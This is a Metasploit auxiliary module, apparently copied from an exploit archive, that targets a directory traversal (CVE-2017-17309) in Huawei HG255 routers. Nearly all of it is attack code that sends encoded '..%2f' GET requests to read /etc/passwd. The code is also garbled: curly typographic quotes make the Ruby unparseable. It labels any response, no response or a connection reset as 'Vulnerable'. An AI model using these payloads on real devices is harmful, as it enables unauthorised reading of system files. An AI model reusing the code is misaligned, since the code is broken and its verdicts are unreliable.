This Metasploit module exploits a directory traversal in Huawei HG255.

MD5 | 16cb3c95e3cda16e38fc0cb442488455

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
##


class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize
super(
'Name' => 'Huawei HG255 Directory Traversal',
‘Description’ => ‘Server Directory Traversal at Huawei HG255 by malicious GET requests’,
‘Author’ => ‘Ismail Tasdelen’,
‘License’ => MSF_LICENSE,
‘References’ =>
[
['CVE', '2017-17309' ],
['URL', 'https://www.huawei.com/en/psirt/security-notices/huawei-sn-20170911-01-hg255s-en']
]
)
register_options(
[
Opt::RPORT(80)
], self.class
)
end

def run
urllist=[
‘/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
‘/lib/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
‘/res/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
‘/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’]

urllist.each do |url|
begin
res = send_request_raw(
{
‘method’=> ‘GET’,
‘uri’=> url
})

if res
print_good(“Vulnerable! for #{url}”)
else
print_status(“Vulnerable(no response) detected for #{url}”)
end
rescue Errno::ECONNRESET
print_status(“Vulnerable(rst) detected for #{url}”)
rescue Exception
print_error(“Connection failed.”)
end
end
end

Source